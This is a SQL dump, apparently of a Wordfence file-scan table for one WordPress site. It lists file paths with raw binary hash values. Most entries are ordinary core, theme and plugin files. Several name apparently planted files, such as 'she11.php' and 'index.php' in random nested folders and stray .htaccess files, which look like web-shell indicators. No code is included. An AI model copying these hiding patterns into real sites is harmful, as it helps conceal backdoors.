('%\ZPnŜ','wp-content/plugins/header-footer-code-manager/languages/header-footer-code-manager-hi_IN.po','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/languages/header-footer-code-manager-hi_IN.po',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0dfL]','q.H|.ϗ&{0Q}5E^N','',0,'?'),
('%8^V<t','wp-admin/edit-tag-form.php','/home/trevorkl/trevorklee.com/wp-admin/edit-tag-form.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','밇/.W#\n ','\rRdu奿˫#dJL:','',0,'?'),
('%fW	P0}+','wp-content/plugins/wordfence/modules/login-security/img/menu.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/menu.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p]j-','8#̄(8O\"	+h\"Fb','',0,'?'),
('%Pb.8Gdt','wp-admin/css/media.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/media.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I;Md ','J*\0RonIag)Vq1','',0,'?'),
('%R9r!!̱','wp-content/plugins/wordfence/js/wfdashboard.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfdashboard.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԽP`{i','=Pzr!?w\Z/d!LӪ1!','',0,'?'),
('%a!+','wp-includes/js/dist/base-styles.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/base-styles.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ką7gZwm','a$V3\rd\"m^G?/dmFiٯ~#','',0,'?'),
('%8g7{&eŘJ','wp-content/themes/twentytwentyfive/patterns/hero-overlapped-book-cover-with-links.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hero-overlapped-book-cover-with-links.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}kX','ݗ뾄`:ULI/-ǭА','',0,'?'),
('&s3-eM:,}b','wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/she11.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/she11.php',0,'WʂϑCE:-','WʂϑCE:-',')ktY\n|9~i`Ju&','',0,'?'),
('&\'`wƚ','wp-includes/js/dist/patterns.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/patterns.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V18=','>r39MeEG-z\"K','',0,'?'),
('&39Q&mOcQ','wp-includes/blocks/post-template.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UYEy=','FjTdXr\\?tRq','',0,'?'),
('&*dĆָ	H5','wp-admin/images/align-center.png','/home/trevorkl/trevorklee.com/wp-admin/images/align-center.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	\Zݶ4ydY1e','놽N3X!ljh`hA]J','',0,'?'),
('&.CFh\\-2','wp-content/themes/twentytwentyone/inc/menu-functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/menu-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U>>(U9','z0kAVZNfdaٌ','',0,'?'),
('&=\Z+t\"/k\'\n','wp-includes/js/jquery/jquery.form.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.form.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@f4-|9Y','2M?kUby${PbV!','',0,'?'),
('&[W-o5','wp-content/themes/twentytwentyfive/patterns/heading-and-paragraph-with-image.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/heading-and-paragraph-with-image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PoOm,O','eC1^q_kI3','',0,'?'),
('&ee\n3KvZ','wp-admin/ms-delete-site.php','/home/trevorkl/trevorklee.com/wp-admin/ms-delete-site.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','goj14R ','4_p	z\0XG+q!','',0,'?'),
('&jl\"9#ꮛNb','wp-content/themes/twentytwentyfour/patterns/text-feature-grid-3-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-feature-grid-3-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rAV5QbU2a','.\0uî2u}Rt-BLf','',0,'?'),
('&k\0v_fcbv','wp-includes/js/dist/format-library.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/format-library.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Obzky','\'9],wDR0->r7','',0,'?'),
('&pŧT!','wp-includes/html-api/smzgnbc/vxswmkl/index.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('&sRX<','wp-includes/blocks/separator/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EOcm{','/`i-^3җ;BT;#\0r}:j','',0,'?'),
('&t!0^gbJc,>3','wp-admin/upload.php','/home/trevorkl/trevorklee.com/wp-admin/upload.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C˒Dy-3$Y','{\\s)\rd[P$xSaPCgQ\\','',0,'?'),
('&~*mE+nX%;[O','wp-includes/css/dist/block-library/common-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/common-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m؟1lPJ','rar6<^#/=z<Ojž4','',0,'?'),
('&DQRw]','wp-includes/sodium_compat/src/Core/ChaCha20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/ChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EޏVG\0','3bwF\r5*6l7دDqM','',0,'?'),
('&Rw?~jhJD','wp-includes/Text/Diff/Renderer/inline.php','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Renderer/inline.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2z;/Ï$m','x	2EZμ','',0,'?'),
('&]0W\n)=','wp-includes/js/tinymce/plugins/directionality/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/directionality/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ErHDD3@','<o@:-Eg)6^Ѽ\'','',0,'?'),
('&󳕠*f<','wp-includes/js/tinymce/plugins/wplink/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wplink/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('&`OQ5Q43','wp-admin/theme-editor.php','/home/trevorkl/trevorklee.com/wp-admin/theme-editor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DٻhI`\r','*qzAއl#.[hCM','',0,'?'),
('&	PshcusS','wp-content/wflogs/attack-data.php','/home/trevorkl/trevorklee.com/wp-content/wflogs/attack-data.php',0,'#ح\nyIb\r\r','#ح\nyIb\r\r','l4Eq{\'wg31cw:','',0,'?'),
('&tQ\\j`qY','wp-includes/blocks/categories/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%!\'g','\'Ύs+n[F<0@^T@k','',0,'?'),
('&vAQcqw8,','wp-includes/theme-compat/header-embed.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/header-embed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Omz8F','})d!q	,@,jv	E','',0,'?'),
('&饱W؀|','wp-includes/widgets/class-wp-widget-links.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-links.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#F>Xnl','쇉,x-DO,7шQ','',0,'?'),
('&`ÚBN','wp-includes/blocks/file/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('&ٗ[zr`%Ō','wp-content/plugins/akismet/_inc/fonts/inter.css','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/fonts/inter.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ּjz%F\"c$?','݁mOeX~Z,o)}`=\'','',0,'?'),
('&z:\Z ','wp-content/plugins/loginizer/assets/images/facebook.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/facebook.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';`j;mc@)R','v:䉆Sh?lcSϵ	*%k9','',0,'?'),
('&aUGκG','wp-content/themes/twentytwentyone/assets/sass/05-blocks/quote/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/quote/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IJ(0vQ','<%G]\re);^%G5f\rpt/o[','',0,'?'),
('\'DE/RDn','wp-content/themes/twentytwentyfive/assets/images/poster-image-background.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/poster-image-background.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-4/lP\"P','mo\0yiT-0 a\'u','',0,'?'),
('\'\n^o~rncԼ','wp-content/plugins/wordfence/js/chart.umd.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/chart.umd.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b?\\ٰYgD\rz','Od :X RU+@9','',0,'?'),
('\'\rrr\'2Du','wp-includes/js/dist/commands.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/commands.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u~櫔RK2V/X','ҥo\ZllW	\0bS3		`h8','',0,'?'),
('\'=!ZaajUQ','wp-admin/css/site-icon.css','/home/trevorkl/trevorklee.com/wp-admin/css/site-icon.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')%ҍa$-x','#FgAa౯O+XzsVF','',0,'?'),
('\'Ac,	~6ܦ','wp-content/plugins/wordfence/views/onboarding/tour-overlay.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/onboarding/tour-overlay.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':% );\0','\Z\'ġ맪.s\'sd4^I','',0,'?'),
('\'ANL&9W','wp-includes/js/dist/script-modules/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\'Mw񑍷\rKj','wp-admin/includes/class-wp-site-icon.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-site-icon.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C	.kЛGcY0','\"j9VOjڬFdF}EPjl','',0,'?'),
('\'iXc#H','wp-content/themes/twentytwentyfive/styles/colors/06-morning.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/06-morning.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','bF  J37ӻ>','Y7	_\' G噧sDMG','',0,'?'),
('\'pKr X_.','wp-includes/class-wp-theme-json-data.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-theme-json-data.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Fu\0=õv','GPjQ6Ӯִmu','',0,'?'),
('\'	qU۾Ze','wp-includes/Requests/src/Exception/Http/Status505.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status505.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.\"ڱʹ_','U4>Lt*C)S\0~;AR','',0,'?'),
('\' oS','wp-content/plugins/wordfence/images/icons/ajax3.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajax3.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mwߴtꍓ\'\ns','dz\nyKƮ\'#]x	VJR.=:','',0,'?'),
('\'}+M3J','wp-content/plugins/wordfence/views/scanner/text/issue-suspiciousAdminUsers.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-suspiciousAdminUsers.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xUQG8Ŧ','Nc)YG\\[o̊%Jq','',0,'?'),
('\'\"znpaE','wp-content/plugins/akismet/views/enter.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/enter.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',}|݂؃m','$w~őt- PElFX','',0,'?'),
('\'@3d^','wp-content/well-known/acme-challenge/f/e/b/b/fewioln/zltfr1c/index.php','/home/trevorkl/trevorklee.com/wp-content/well-known/acme-challenge/f/e/b/b/fewioln/zltfr1c/index.php',0,' {\ZύM`/',' {\ZύM`/','J~9Tz>w9&Wnf\'1','',0,'?'),
('\'g|͹\"jݹ2','wp-includes/js/jquery/ui/effect-transfer.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-transfer.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P _X\"*','g\0m_E97OM9O(wO\'}_3','',0,'?'),
('\'.K90Զ','wp-content/themes/twentytwentytwo/inc/patterns/hidden-404.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/hidden-404.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tX\0a\'Cx','pk}11+e|tCx\Z4ܔ','',0,'?'),
('\'=-AC\\K','wp-content/themes/twentytwentyone/assets/sass/07-utilities/color-palette.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/color-palette.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','esAqtf>\Z9','k:4j($緪c','',0,'?'),
('(<wy\nbqm','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Thin.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Thin.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BF+Se.+ŭ_','ƕH;VsuMA$-byJX1G','',0,'?'),
('(g%\04l>','wp-includes/js/jquery/jquery.schedule.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.schedule.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&Tkf؞','?vEʔwjCP՝_','',0,'?'),
('(*SjFpY','wp-includes/SimplePie/library/SimplePie/Cache/Redis.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/Redis.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`µ*t{','@\ri-!ZMQ','',0,'?'),
('(00k9YA\Z','wp-includes/blocks/preformatted/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/preformatted/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OoJ}[׻W','mA-`8	P ay<(','',0,'?'),
('(7du\"j\nGx','wp-content/themes/twentytwentyfive/styles/colors/04-afternoon.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/04-afternoon.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l[da;%','\nhJ>H/ :Keȧ`Y','',0,'?'),
('(:q\"9|`W-','wp-includes/SimplePie/src/XML/Declaration/Parser.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/XML/Declaration/Parser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xW̯	^','\"W4R\'ܛXinF\'\r','',0,'?'),
('(?>SN揚&','wp-includes/images/media/default.png','/home/trevorkl/trevorklee.com/wp-includes/images/media/default.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-IBh@b',':oLJDj$->i\'6n֠Ui','',0,'?'),
('(FTfM/w)&','wp-content/themes/twentytwentyfour/styles/rust.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/rust.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G8ڡVb6*U<p','6	1g6F&	o\0#V})','',0,'?'),
('(WQ=3yb6','wp-includes/cache-compat.php','/home/trevorkl/trevorklee.com/wp-includes/cache-compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P֛צ#ڊ57','fOT҉=0\'\"6V<AB','',0,'?'),
('([dBQ','wp-admin/js/updates.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/updates.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mI;(`[z.','b\'YP;橌$r)8)bD','',0,'?'),
('(jL}*CX','wp-content/plugins/wordfence/views/scanner/text/issue-wfPluginUpgrade.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wfPluginUpgrade.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K:2SyyT','\nl \ZEJ灬?ͺ~Ö[','',0,'?'),
('(lօ+%mGI@','wp-includes/blocks/rss/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ḊCk51\"',':A;&Ӻ[29A)<a4','',0,'?'),
('(t6?	tU','wp-includes/blocks/post-excerpt/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('(x*J,LÛn<K','wp-content/plugins/wordfence/images/icons/arrow_refresh.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/arrow_refresh.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kw``|}$G','u/2/@H_Ilh/aU:	','',0,'?'),
('(~6vqV0{\"','wp-includes/ID3/readme.txt','/home/trevorkl/trevorklee.com/wp-includes/ID3/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','bK~䮏】=Cl','5+P$+ʨ7e','',0,'?'),
('(v|T— ¥','wp-admin/includes/screen.php','/home/trevorkl/trevorklee.com/wp-admin/includes/screen.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@m.Q*KI','%tgG_!	_@G','',0,'?'),
('(y\0	pDO`','wp-content/themes/twentynineteen/functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';tj~ZS%A','M#N_NwiGdR|\0&TgN+','',0,'?'),
('(Tk|ksT','wp-includes/blocks/post-author/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	yj1','jT34TS,/܃¬^1=R','',0,'?'),
('(Y\'^kz!q','wp-includes/js/dist/block-directory.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-directory.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wѥ5','49%~.n`5R]|J8r&-f','',0,'?'),
('(Օ)(pwBl','wp-includes/js/dist/list-reusable-blocks.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/list-reusable-blocks.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tVfg(','dtK`VLik>^+n&','',0,'?'),
('(|ZxT[u','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Base64/Original.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Base64/Original.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!xp,LLǨ)v','})@a@\0a9\r','',0,'?'),
('(>f0\Zg[|','wp-content/plugins/wordfence/lib/wfJWT.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfJWT.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}{ jNcK','0mhN`xx~HLjsOP,','',0,'?'),
('(LS[Wl#','wp-includes/sodium_compat/src/Core32/Int64.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Int64.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Хx	^5','H3y&k3}:','',0,'?'),
('(s3TNo(','wp-admin/images/freedom-1.svg','/home/trevorkl/trevorklee.com/wp-admin/images/freedom-1.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(9f\rOJ\Z]','eMO8\0\\\07','',0,'?'),
('(^3N3','wp-includes/wp-diff.php','/home/trevorkl/trevorklee.com/wp-includes/wp-diff.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZL?\rςȶ@A$','#:><ԖcB\0Uc;ΈIC','',0,'?'),
('(\'i^c','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Endianness.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Endianness.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','piR\"o-/\r','$sE\'m&h}[&;X','',0,'?'),
('(M-]ldhZ','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BlackItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BlackItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' e[z\'_M','UTYL\ZQn.Ldg)8\Z','',0,'?'),
(')\0w;ET','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-LightItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-LightItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','62M?A','4i&p:\Z{_g','',0,'?'),
(')#rl\'erE^o8','wp-includes/sodium_compat/src/Core/AES/Block.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES/Block.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x9g1CC','	f-	֫}e9`-\'i3U','',0,'?'),
(')\'hL휞\rЀ^','wp-includes/blocks/page-list/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@؛^}b','oMp+pxȻy#\rD-9h=','',0,'?'),
('):ȥgb֌ ¢','wp-content/themes/twentytwentyfive/patterns/template-archive-text-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-archive-text-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JLGO@BA','cLfa:kbnM(1jAK','',0,'?'),
(')FTjCJcG','wp-includes/blocks/image/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/R!vm-l','ˍF\Z6kc-{vBYW@p','',0,'?'),
('){jW-_Q=?GlҢ','wp-includes/media.php','/home/trevorkl/trevorklee.com/wp-includes/media.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6\nm?Jn','`ztL`*?jItv','',0,'?'),
(')iz/yʠ?˿#','wp-content/plugins/header-footer-code-manager/css/selectize.bootstrap3.css','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/css/selectize.bootstrap3.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[ /\r2<5','v.tOn\\vZ*(wdz7[Mm','',0,'?'),
(')&`&X	','wp-includes/js/dist/preferences-persistence.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/preferences-persistence.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CQ^)aŏUt','8WP37ΉT\0`UwP	&r$\'m','',0,'?'),
(')3\rr-ty','wp-includes/blocks/media-text/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G;lYkp@X','ȅQrlW|ڴ','',0,'?'),
(')ֱf~{G','wp-content/themes/twentytwentytwo/inc/patterns/query-large-titles.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-large-titles.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b5BctG','zPhE^B BTlj|_eXSj','',0,'?'),
(')7{\r);2i+','wp-includes/blocks/read-more/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/read-more/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uֶ.Yګ[','3!xY?2=^&ɫF<No3L','',0,'?'),
(')3C2b.','wp-includes/blocks/comments-pagination-numbers/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-numbers/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ǛA1PúF.O;','BDujK	Ǡ->^©\rr','',0,'?'),
(')Oz=u˷','wp-includes/rewrite.php','/home/trevorkl/trevorklee.com/wp-includes/rewrite.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p|eGJD=i2',')6m4nSKffwM','',0,'?'),
(')̃2kh! ','wp-content/plugins/akismet/akismet.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/akismet.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','YiګE!','Z=d5gUw~+c-','',0,'?'),
(')]Z$P%','wp-includes/embed-template.php','/home/trevorkl/trevorklee.com/wp-includes/embed-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ceVbӻ5=','Fn<7[zON\ZpE3@rB0','',0,'?'),
(')警QQ/Y9','wp-includes/blocks/page-list.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X~w+1UjX','?=BZ rӍAZҾ-','',0,'?'),
(')I\nΆVq{','wp-admin/authorize-application.php','/home/trevorkl/trevorklee.com/wp-admin/authorize-application.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&l\"Ȍh','9?sNVd:O+\'(j\';Sq','',0,'?'),
(')`f,u4','wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`/4gVFm','3\Z,\\\n5)f\n[V*Ka8z','',0,'?'),
('* aF4uvU','wp-admin/images/menu-vs-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/menu-vs-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JZY<iYb','\'FєE\07ɡ#>sePض','',0,'?'),
('*B|JpC-','wp-includes/js/jquery/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('*RH!\0pQF','admin.php','/home/trevorkl/trevorklee.com/admin.php',0,'K_CC]\"ؾ4NP8','K_CC]\"ؾ4NP8','-؜J2TEhIyH*]Ka]','',0,'?'),
('*TǚqG6RH','wp-includes/blocks/site-logo/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sg50N\n-7','6\0e<Rvgj\0<V-`','',0,'?'),
('*V.XZ_C[AԀC3','wp-includes/js/dist/keycodes.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/keycodes.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h{1nM','$KZʧ\0F$56\0e}Mi	','',0,'?'),
('*lKqWM\0|	Y','wp-content/themes/twentytwenty/assets/images/2020-three-quarters-1.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-three-quarters-1.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-a.t]Uv','n\0<VEկRmKr72kkSe\'#','',0,'?'),
('**W852~','wp-includes/css/dist/reusable-blocks/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MWZL','bWD.$L}.,ak','',0,'?'),
('*-3uE[O#','wp-includes/images/down_arrow-2x.gif','/home/trevorkl/trevorklee.com/wp-includes/images/down_arrow-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']Mf','w\0qpq5T#\\','',0,'?'),
